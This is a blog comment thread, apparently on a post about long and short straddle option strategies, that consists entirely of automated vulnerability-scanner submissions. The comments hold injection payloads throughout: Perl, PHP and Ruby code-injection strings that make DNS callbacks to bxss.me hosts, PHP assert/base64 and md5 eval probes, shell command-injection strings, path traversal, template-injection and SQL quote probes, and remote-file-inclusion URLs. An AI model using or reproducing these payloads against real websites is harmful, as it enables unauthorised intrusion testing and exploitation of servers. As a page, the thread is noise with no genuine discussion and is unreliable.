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fKxorhrg commented on December 12th, 2023 at 10:46 AM
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1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg commented on December 12th, 2023 at 10:46 AM
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fKxorhrg commented on December 12th, 2023 at 10:46 AM
555

fKxorhrg commented on December 12th, 2023 at 10:47 AM
555

".gethostbyname(lc("hitad"."giqetnwv88d04.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(69).chr(115).chr(80)." commented on December 12th, 2023 at 10:47 AM
555

fKxorhrg commented on December 12th, 2023 at 10:47 AM
555

fKxorhrg commented on December 12th, 2023 at 10:47 AM
../555

fKxorhrg commented on December 12th, 2023 at 10:47 AM
555

|echo kfiskn$()\ mvinud\nz^xyu||a #' |echo kfiskn$()\ mvinud\nz^xyu||a #|" |echo kfiskn$()\ mvinud\nz^xyu||a # commented on December 12th, 2023 at 10:47 AM
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fKxorhrg commented on December 12th, 2023 at 10:47 AM
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Http://bxss.me/t/fit.txt commented on December 12th, 2023 at 10:47 AM
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fKxorhrg commented on December 12th, 2023 at 10:47 AM
555

fKxorhrg commented on December 12th, 2023 at 10:48 AM
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Http://bxss.me/t/fit.txt commented on December 12th, 2023 at 10:48 AM
555

fKxorhrg commented on December 12th, 2023 at 10:48 AM
555

fKxorhrg commented on December 12th, 2023 at 10:48 AM
1'"

long-straddle-and-short-straddle.html commented on December 12th, 2023 at 10:48 AM
555

fKxorhrg commented on December 12th, 2023 at 10:48 AM
555

HttP://bxss.me/t/xss.html?%00 commented on December 12th, 2023 at 10:48 AM
555

fKxorhrg commented on December 12th, 2023 at 10:48 AM
555

fKxorhrg commented on December 12th, 2023 at 10:48 AM
"+"A".concat(70-3).concat(22*4).concat(107).concat(79).concat(109).concat(85)+(require"socket"
Socket.gethostbyname("hitak"+"fjcvbkfk91ef5.bxss.me.")[3].to_s)+"

fKxorhrg commented on December 12th, 2023 at 10:48 AM
'.gethostbyname(lc('hitev'.'dwrmiabncf8a0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(77).chr(100).chr(69).'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); commented on December 12th, 2023 at 10:49 AM
555

fKxorhrg commented on December 12th, 2023 at 10:49 AM
HttP://bxss.me/t/xss.html?%00

long-straddle-and-short-straddle.html commented on December 12th, 2023 at 10:49 AM
555

fKxorhrg commented on December 12th, 2023 at 10:49 AM
Http://bxss.me/t/fit.txt

xfs.bxss.me commented on December 12th, 2023 at 10:49 AM
555

fKxorhrg commented on December 12th, 2023 at 10:49 AM
".gethostbyname(lc("hitmz"."iisnitthcb8d0.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(80).chr(112).chr(68)."

fKxorhrg commented on December 12th, 2023 at 10:49 AM
555

fKxorhrg commented on December 12th, 2023 at 10:49 AM
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

fKxorhrg commented on December 12th, 2023 at 10:50 AM
555

fKxorhrg commented on December 12th, 2023 at 10:50 AM
HttP://bxss.me/t/xss.html?%00

fKxorhrg commented on December 12th, 2023 at 10:50 AM
555

fKxorhrg commented on December 12th, 2023 at 10:50 AM
Http://bxss.me/t/fit.txt

fKxorhrg commented on December 12th, 2023 at 10:50 AM
echo sgulge$()\ oajoio\nz^xyu||a #' &echo sgulge$()\ oajoio\nz^xyu||a #|" &echo sgulge$()\ oajoio\nz^xyu||a #

fKxorhrg commented on December 12th, 2023 at 10:50 AM
long-straddle-and-short-straddle.html

fKxorhrg commented on December 12th, 2023 at 10:50 AM
@@RAOuo

fKxorhrg commented on December 12th, 2023 at 10:50 AM
555

fKxorhrg commented on December 12th, 2023 at 10:50 AM
${9999380+9999983}

fKxorhrg commented on December 12th, 2023 at 10:50 AM
555

fKxorhrg commented on December 12th, 2023 at 10:50 AM
";print(md5(31337));$a="

fKxorhrg commented on December 12th, 2023 at 10:50 AM
555

fKxorhrg commented on December 12th, 2023 at 10:51 AM
long-straddle-and-short-straddle.html

fKxorhrg commented on December 12th, 2023 at 10:51 AM
@@RAOuo

fKxorhrg commented on December 12th, 2023 at 10:51 AM
555

fKxorhrg commented on December 12th, 2023 at 10:51 AM
long-straddle-and-short-straddle.html

fKxorhrg commented on December 12th, 2023 at 10:51 AM
555

'" commented on December 12th, 2023 at 10:51 AM
555

fKxorhrg commented on December 12th, 2023 at 10:51 AM
555

fKxorhrg commented on December 12th, 2023 at 10:52 AM
555

fKxorhrg commented on December 12th, 2023 at 10:52 AM
^(#$!@#$)(()))******

fKxorhrg commented on December 12th, 2023 at 10:52 AM
555

".gethostbyname(lc("hitad"."giqetnwv88d04.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(69).chr(115).chr(80)." commented on December 12th, 2023 at 10:52 AM
555

fKxorhrg commented on December 12th, 2023 at 10:52 AM
555

fKxorhrg commented on December 12th, 2023 at 10:52 AM
"+"A".concat(70-3).concat(22*4).concat(107).concat(79).concat(109).concat(85)+(require"socket"
Socket.gethostbyname("hitak"+"fjcvbkfk91ef5.bxss.me.")[3].to_s)+"

fKxorhrg commented on December 12th, 2023 at 10:52 AM
555

".gethostbyname(lc("hitad"."giqetnwv88d04.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(69).chr(115).chr(80)." commented on December 12th, 2023 at 10:52 AM
555